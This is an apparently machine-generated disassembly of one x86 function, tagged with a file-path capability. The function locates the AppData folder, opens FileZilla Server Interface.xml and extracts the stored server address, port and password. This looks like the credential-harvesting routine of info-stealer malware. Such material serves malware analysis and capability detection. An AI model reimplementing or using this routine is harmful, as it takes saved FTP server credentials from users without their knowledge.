Function at 0x42cc58
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x65c8
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x7fb]
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0x65c4], ecx
push esi
push 0
push eax
mov byte [ebp - 0x7fc], 0
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x414], 0
lea eax, [ebp - 0x413]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea edi, [ebp - 0x28]
mov esi, str.FileZilla_Server_Interface.xml
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x42cd0c
lea eax, [ebp - 0x414]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x42ccff
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
mov eax, str._sFileZilla_Server_s
lea ebx, [ebp - 0x414]
jmp 0x42cd11
mov eax, 0x6c643c
lea ecx, [ebp - 0x28]
mov edi, 0x3e8
push ecx
push ebx
push eax
lea eax, [ebp - 0x7fc]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x7fc]
xor ebx, ebx
mov dword [ebp - 0x65c0], ebx
push 0x6c63d0
push eax
lea eax, [ebp - 0x65c0]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x42ccec
cmp dword [ebp - 0x65c0], ebx
je 0x42ccec
jmp 0x42cef0
lea eax, [ebp - 0x65bc]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x42cd91
lea eax, [ebp - 0x65bc]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x2710
jae 0x42cf84
mov byte [ebp + eax - 0x65bc], bl
lea eax, [ebp - 0x65bc]
push eax
lea eax, [ebp - 0x3eac]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x3eac]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x3eac]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x3eac]
push str.last_server_address
push eax
call fcn.00639500
add esp, 0x10
test eax, eax
je 0x42ce2b
lea eax, [ebp - 0x65bc]
push 0x3e
push eax
call fcn.006393d0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42cef0
lea eax, [ebp - 0x3eac]
inc esi
push str.__item_
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x42ce20
lea ecx, [ebp - 0x3eac]
sub eax, ecx
mov byte [ebp + eax - 0x65bc], bl
lea eax, [ebp - 0x13b4]
jmp 0x42cee5
lea eax, [ebp - 0x3eac]
push str.last_server_port
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x42ce8b
lea eax, [ebp - 0x65bc]
push 0x3e
push eax
call fcn.006393d0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42cef0
lea eax, [ebp - 0x3eac]
inc esi
push str.__item_
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x42ce83
lea ecx, [ebp - 0x3eac]
sub eax, ecx
mov byte [ebp + eax - 0x65bc], bl
lea eax, [ebp - 0xfcc]
jmp 0x42cee5
lea eax, [ebp - 0x3eac]
push str.last_server_password
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x42cef0
lea eax, [ebp - 0x65bc]
push 0x3e
push eax
call fcn.006393d0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42cef0
lea eax, [ebp - 0x3eac]
inc esi
push str.__item_
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x42cedf
lea ecx, [ebp - 0x3eac]
sub eax, ecx
mov byte [ebp + eax - 0x65bc], bl
lea eax, [ebp - 0xbe4]
push esi
push edi
push eax
call fcn.006494f3
add esp, 0xc
push dword [ebp - 0x65c0]
lea eax, [ebp - 0x65bc]
push 0x2710
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x42cd60
push dword [ebp - 0x65c0]
call fcn.00649273
pop ecx
lea eax, [ebp - 0xbe4]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x42cf7c
lea eax, [ebp - 0xfcc]
push eax
lea eax, [ebp - 0x13b4]
push eax
push str._s:_s
lea eax, [ebp - 0x179c]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xbe4]
mov edx, 0x6c5bb9
lea ecx, [ebp - 0x179c]
push 0xffffffffffffffff
push edx
push eax
push edx
push ecx
mov ecx, dword [ebp - 0x65c4]
push edx
push 0x149
push 4
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x42ccee
call fcn.00612782
int3